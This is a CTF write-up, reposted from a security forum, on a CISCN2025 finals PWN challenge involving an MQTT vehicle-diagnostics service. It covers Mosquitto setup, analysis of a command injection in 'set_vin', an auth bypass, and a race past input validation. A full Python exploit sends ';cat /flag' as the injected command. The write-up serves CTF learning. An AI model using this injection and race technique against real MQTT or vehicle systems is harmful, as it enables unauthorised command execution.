Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Participating in the finals of the national competition for the first time, I had heard that the finals would feature some topics related to industrial control and the Internet of Vehicles. I also had a rough understanding of PWN topics involving the MQTT protocol and had used the Python Paho library for client interaction. However, I couldn’t find any ready-made exploit interaction boards online before the competition. (I had clearly seen one not long ago, but I don’t know if it was taken down for some reason.)

Moreover, my unfamiliarity with MQTT and the Internet of Vehicles led to various ridiculous errors in the interaction script during the finals. After repeatedly testing with AI and debugging locally, I finally grasped the general interaction logic and approach. Unfortunately, I was too inexperienced during the competition, and I couldn’t solve this problem even though it was a mess; otherwise, we could have won first prize. I feel sorry for my teammates, as the strong players in our team put in so much effort, yet we still didn’t make it to the national finals.

1

Interaction Roles in MQTT Protocol

a. Broker

The broker can be understood as the proxy server that provides MQTT services. Each client must connect to it, subscribe to a topic, and publish messages on the specified topic. All clients connected to this broker that subscribe to the same topic can receive messages published by the publisher client.The broker primarily acts as a relay, responsible for receiving messages from the publisher and distributing them to clients that subscribe to the same topic.

b. Client

Clients need to connect to the broker and publish messages on specified topics so that other clients subscribing to the same topic can receive them.

Illustration

Clients 1, 2, 3, and 4 connect to the broker simultaneously. Clients 1, 2, and 3 subscribe to the topic “diag”. At this point, client 4 sends a message with topic “diag” and msg=”hello” to the broker. The broker will send this message to clients 1, 2, and 3, which are subscribed to topic=”diag”.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

2

Setting Up the Service Environment

1. Install Mosquitto MQTT

sudo apt update
sudo apt install mosquitto mosquitto-clients

2. Start the service and set it to start on boot

sudo systemctl enable mosquitto
sudo systemctl start mosquitto

3. Test the service (open two terminal windows)

Window 1 subscribes to the topic

mosquitto_sub -h localhost -t test/topic

Window 2 publishes a message

mosquitto_pub -h localhost -t test/topic -m "Hello MQTT"

If everything goes smoothly, you should see the corresponding message in Window 1.

4. Modify the configuration file

sudo vim /etc/mosquitto/mosquitto.conf
listener 9999 # Set the listening port to 9999
allow_anonymous true  # Optional, allow anonymous access (default)
sudo systemctl restart mosquitto # Restart the service

3

Review of the Problem

CISCN2025 MQTT

The problem provided a compressed package that seemed to contain a lot of things. At first, I was worried it would be like last year’s national competition problem, requiring manual patching for a long time. However, in reality, it can be run directly as long as it is placed in a folder.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

a. Logic Analysis of the PWN File

The overall symbol table of the problem was not removed, and the logic was clear. I renamed some functions here.

Main Function

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Let’s look directly at the key points. What does the getmessage function do?

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Next, let’s follow up on the start_routine function to see what it does.

It first performs authentication, and then executes different operations based on the value passed in our cmd, where arg is the parameter we pass in.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

The vulnerability exists when cmd is set_vin, where there is a clear command injection.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

b. Bypassing auth and check_arg

By carefully analyzing the logic, we can see that the program starts by reading the contents of the /mnt/VIN file and assigns it to the global variable dest.

During the authentication phase, the contents of dest are processed and given to s2, which is then compared with our auth and s2 for consistency.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

However, in sub_1E1A, the contents of dest are published to topic=”diag/resp”. We only need to receive dest in our exploit and calculate auth using the sum2hex method.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Next, let’s see what restrictions check_arg imposes on our input parameters. I didn’t understand it during the competition and had to guess; I estimate it restricts visible characters or alphanumeric characters. AI says it restricts to numbers and letters.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Notably, after each check passes and enters the if branch, there is a sleep(2), and since our arg is a global variable, this callback function is created through a thread, the race condition is not executed.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Thus, our approach becomes very clear:

1.Calculate auth

2.Race condition: First construct arg as any alphanumeric character, pass check, and then immediately publish_msg, changing arg to our command.

3.Successfully popen to execute the command.

c. Exploit Board and Pitfalls

Here are a few pitfalls:

1.Subscribe must be written inside the on_connect callback function; at least on my machine, it has to be written this way, otherwise, there is no echo and it won’t subscribe.

2.on_message can be written for debugging convenience.

3.client.loop_start() must be added.

#! /usr/bin/python3
import random
from pwn import *
import time
import paho.mqtt.client as mqtt
import json
context(log_level = "debug",os = "linux",arch = "amd64")
pwnFile = "./pwn"
libcFile = "./libc.so.6"
ip = "127.0.0.1"
local = ""
local_port = 9999
port = 9999
elf = ELF(pwnFile)
libc = ELF(libcFile)
def debug(value):
    if value==1:
        io = process(pwnFile)
    else:
        io = remote(ip,port)
    return io
def dbg(msg=""):
    gdb.attach(io,msg)
def publish(client,topic,auth,cmd,arg):
    msg = {
        "auth":auth,
        "cmd":cmd,
        "arg":arg
    }
    result = client.publish(topic = topic, payload = json.dumps(msg))
    print(json.dumps(msg))
    print(result)
    return result
def on_connect(client, userdata, flags, rc):
    client.subscribe("vehicle_diag")
    client.subscribe("diag")
    client.subscribe("#")  # Subscribe to all
    client.subscribe("diag/resp")
    print("Connected with result code " + str(rc))
def on_subscribe(client,userdata,mid,granted_qos):
    print("Message sent successfully")
def on_message(client, userdata, msg):
    message = msg.payload.decode()  # Decode message payload
    print(f"Received message on topic '{msg.topic}': {message}")
    # try:
    #     data = json.loads(message)  # Parse to dictionary
    #     dest = data.get("vin")  # Get vin field
    #     log.success("dest -> "+ dest)
    # except json.JSONDecodeError:
    #     print("JSON parsing failed")
    print(message)
def sum2hex(dest):
    v3 = 0
    for i in range(len(dest)):
        v3 = (0x1f  * v3 +  ord(dest[i])) & 0xffffffff
    log.success(f"sum2hex -> {v3:08x}")
    return  f"{v3:08x}"
io = debug(0)
# gdb.attach(io,'b *$rebase(0x1EC0)')
topic = "diag"
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.on_subscribe = on_subscribe
client.connect(host = "127.0.0.1",port = 9999,keepalive=10000)
   auth = sum2hex("test")
publish(client,"diag",auth,"set_vin","111111111111")
sleep(0.5)
publish(client,"diag",auth,"set_vin",";cat /flag")
publish(client,"diag",auth,"set_vin",";cat /flag")
sleep(1)
client.loop_start()
io.interactive()

d. Local Effect

First, start the pwn program, connect to the broker, and register the callback functions.

Note: The pwn program will read a file at the start, and this file needs to be created manually.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Run our exploit in another console, sending messages to the broker on the corresponding topic, which the broker forwards to the pwn program, triggering the thread processing in the pwn program.

The final effect is as follows: the value in the vin file has also been overwritten by us. If it was overwritten incorrectly during the competition, we could restart a Docker instance.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

4

Conclusion

Comparing last year’s national competition with this year’s, it is not difficult to conclude that PWN problems are increasingly focusing on interaction and debugging rather than being limited to traditional vulnerability exploitation tricks like stack overflow. Of course, there were some this year, but they were quite difficult, and with the time constraints, I couldn’t solve them. The strong players from Sun Yat-sen University were too impressive. I look forward to learning from the write-ups thoroughly.

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Kanxue ID:sparkle666

https://bbs.kanxue.com/user-home-1010243.htm

*This article is an excellent piece from the Kanxue forum, authored by sparkle666. Please indicate the source when reprinting from the Kanxue community.Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)SDC 2025 Early Bird Tickets on Sale! Topics are being actively collected~

# Previous Recommendations

Analysis and Vulnerability Elevation Adaptation of Android Old System OTA Packages

XCTF L3HCTF 2025 PWN Direction Problem-Solving Ideas

PWN Problem Analysis | L3CTF 2025 heack & heack_revenge

OLLVM-BR Indirect Obfuscation Removal

House of Einherjar

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Share

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Like

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Follow

Introduction to PWN with MQTT Protocol (CISCN2025 Final MQTT)

Click to read the original text for more details

Leave a Comment